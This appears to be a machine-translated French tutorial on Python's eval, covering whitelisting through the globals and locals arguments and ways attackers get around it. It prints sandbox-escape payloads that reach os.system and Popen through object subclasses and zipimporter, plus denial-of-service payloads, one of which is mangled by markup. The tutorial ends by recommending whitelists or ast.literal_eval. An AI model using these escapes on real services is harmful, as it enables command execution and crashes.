Explication détaillée de l'utilisation de eval en python et introduction aux risques potentiels

不言
Libérer: 2019-03-25 10:41:37
avant
4732 Les gens l'ont consulté

Cet article vous apporte une explication détaillée de l'utilisation de eval en python et une introduction aux risques potentiels. Il a une certaine valeur de référence. Les amis dans le besoin peuvent s'y référer. J'espère qu'il vous sera utile.

Préface à eval

In [1]: eval("2+3")
Out[1]: 5

In [2]: eval('[x for x in range(9)]')
Out[2]: [0, 1, 2, 3, 4, 5, 6, 7, 8]
Copier après la connexion

Lorsque le module intégré en mémoire contient os, eval peut également exécuter des commandes :

In [3]: import os

In [4]: eval("os.system('whoami')")
hy-201707271917\administrator
Out[4]: 0
Copier après la connexion

Bien sûr, eval peut exécuter uniquement le code de type d'expression Python ne peut pas être directement utilisé pour les opérations d'importation, mais exec le peut. Si vous devez utiliser eval pour l'importation, utilisez __import__ :

In [8]: eval("__import__('os').system('whoami')")
hy-201707271917\administrator
Out[8]: 0
Copier après la connexion

Dans le code réel, il est souvent nécessaire d'utiliser les données client pour les importer dans eval pour exécution. Par exemple, lors de l'introduction de modules dynamiques, par exemple, il peut y avoir plusieurs robots d'exploration sur une plate-forme de robots d'exploration en ligne et ils sont situés dans différents modules. Le côté serveur n'a souvent besoin d'appeler que le type de robot sélectionné par l'utilisateur côté client. et utilisez exec ou eval sur le backend. Il est très pratique de passer des appels dynamiques et d'implémenter le codage back-end. Cependant, si la demande de l'utilisateur n'est pas traitée correctement, cela entraînera de graves failles de sécurité.

Utilisation « sécurisée » de eval

La plus préconisée maintenant est d'utiliser les deux derniers paramètres de eval pour fixer la liste blanche de la fonction :

La déclaration de la fonction Eval est eval(expression[ , globals[, locals]])

Parmi eux, les deuxième et troisième paramètres spécifient respectivement les fonctions qui peuvent être utilisées dans eval, etc. S'il n'est pas spécifié, la valeur par défaut est le module inclus dans les fonctions et fonctions globals() et locals()

>>> import os
>>> 'os' in globals()
True
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0
>>> eval('os.system('whoami')',{},{})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined
Copier après la connexion

Si vous spécifiez que seules les fonctions abs peuvent être appelées, vous pouvez utiliser l'écriture suivante :

>>> eval('abs(-20)',{'abs':abs},{'abs':abs})
20
>>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0
Copier après la connexion

L'utilisation de cette méthode de protection peut en effet jouer un certain rôle. Cependant, cette méthode de traitement peut être contournée, provoquant d'autres problèmes

Contourner le code d'exécution 1

Le scénario de contournement est le suivant ! . Xiao Ming sait que eval entraînera certains problèmes de sécurité, utilisez donc les méthodes suivantes pour empêcher eval d'exécuter du code arbitraire :

env = {}
env["locals"]   = None
env["globals"]  = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
 
eval(users_str, env)
Copier après la connexion

__builtins__ en Python est un module intégré utilisé pour définir les éléments intégrés. dans les fonctions, telles que les abdos familiers, les modules ouverts et autres intégrés. Les fonctions sont stockées sous forme de dictionnaires dans ce module. Les deux façons d'écrire suivantes sont équivalentes :

>>> __builtins__.abs(-20)
20
>>> abs(-20)
20
Copier après la connexion

Nous pouvons également personnaliser. fonctions intégrées et utilisez-les comme les fonctions intégrées en Python Utilisez-les :

>>> def hello():
...     print 'shabi'
>>> __builtin__.__dict__['say_hello'] = hello
>>> say_hello()
shabi
Copier après la connexion

Xiao Ming définit le module intégré dans la portée de la fonction eval sur Aucun, ce qui semble très complet , mais il peut toujours être contourné. __builtins__ est une référence à __builtin__ , sous le module __main__, les deux sont équivalents :

>>> id(__builtins__)
3549136
>>> id(__builtin__)
3549136
Copier après la connexion

Selon la méthode mentionnée par Wuyun drops, utilisez le code suivant :

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")
Copier après la connexion

Le code ci-dessus Tout d'abord, l'objet objet est chargé dynamiquement à l'aide de __class__ et __subclasses__ En effet, l'objet ne peut pas être utilisé directement dans eval. Ensuite, l'importateur zip de la sous-classe d'objet est utilisé pour importer le module configobj dans. le fichier compressé egg et appelle son module intégré. Le module os implémente l'exécution des commandes. Bien sûr, la condition préalable est qu'il existe un fichier egg de configobj. Le module configobj est en fait un module os intégré. :

>>> "os" in configobj.__dict__
True
>>> import urllib
>>> "os" in urllib.__dict__
True
>>> import urllib2
>>> "os" in urllib2.__dict__
True
>>> configobj.os.system("whoami")
win-20140812chjadministrator
0
Copier après la connexion

Les modules similaires à configobj tels que urllib, urllib2, setuptools etc. sont tous intégrés au système d'exploitation. En théorie, vous pouvez en utiliser un. Si vous ne parvenez pas à télécharger le fichier compressé Egg, vous pouvez le faire. pouvez télécharger le dossier avec setup.py, ajouter :

from setuptools import setup, find_packages
Copier après la connexion

puis exécuter :

python setup.py bdist_egg
Copier après la connexion

Vous pouvez trouver le fichier egg correspondant dans le dossier dist. La démo de contournement est la suivante. suit :

>>> env = {}
>>> env["locals"]   = None
>>> env["globals"]  = None
>>> env["__name__"] = None
>>> env["__file__"] = None
>>> env["__builtins__"] = None
>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"
>>> eval(users_str, env)
win-20140812chjadministrator
0
>>> eval(users_str, {}, {})
win-20140812chjadministrator
0
Copier après la connexion

Attaque de déni de service 1

objet Il y a beaucoup de choses intéressantes dans la sous-classe. Exécutez le code suivant pour afficher :

[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]
Copier après la connexion
Je n'afficherai pas les résultats ici. Si vous l'exécutez, vous pouvez voir de nombreux modules intéressants, tels que file, zipimporter et Quitter wait. Après test, le constructeur du fichier est isolé par le bac à sable de l'interpréteur. Simplement, ou quittez directement la sous-classe Quitter exposée par l'objet :

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
 == 'Quitter'][0](0)()", {'__builtins__':None})
Copier après la connexion
C:/>

Si vous avez de la chance et rencontrez des modules sensibles tels que os importés dans le programme de l'autre partie, alors Popen peut être utilisé et contourne la restriction selon laquelle __builins__ est vide. Les exemples sont les suivants :

>>> import subprocess
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})
 
>>>
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间>>
Copier après la connexion
En fait, il existe de nombreuses situations de ce type, comme l'importation du module os, qui est généralement utilisé pour gérer le chemin. problèmes. Par conséquent, lorsque vous rencontrez cette situation, vous pouvez répertorier un grand nombre de fonctions fonctionnelles pour détecter si la sous-classe de l'objet cible contient des fonctions dangereuses pouvant être utilisées directement.

Attaque de déni de service 2

De même, nous pouvons même contourner __builtins__ en tant que None, provoquant une attaque par déni de service. La charge utile (du blog étranger) est la suivante. :

>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})
Copier après la connexion
Lorsque vous exécutez le code ci-dessus, Python plante directement, provoquant une attaque par déni de service. Le principe est de construire un morceau de code, c'est-à-dire un objet code, à travers des lambdas imbriqués. Allouez une pile vide pour cet objet de code et donnez la chaîne de code correspondante, voici KABOOM Si le code est exécuté sur la pile vide, un crash se produira. Une fois la construction terminée, elle peut être déclenchée en appelant la fonction fc. L'idée n'est pas banale.

Résumé

D'après le contenu ci-dessus, nous pouvons voir que le simple fait de définir le module intégré sur vide n'est pas suffisant. Le meilleur mécanisme consiste à construire une liste blanche If. Si vous trouvez cela gênant, vous pouvez utiliser ast.literal_eval au lieu d'unsafe eval.


Cet article est terminé ici. Pour un contenu plus passionnant, vous pouvez faire attention à la colonne

Tutoriel vidéo Python du site Web PHP chinois !

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:segmentfault.com
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal
À propos de nous Clause de non-responsabilité Sitemap
Site Web PHP chinois:Formation PHP en ligne sur le bien-être public,Aidez les apprenants PHP à grandir rapidement!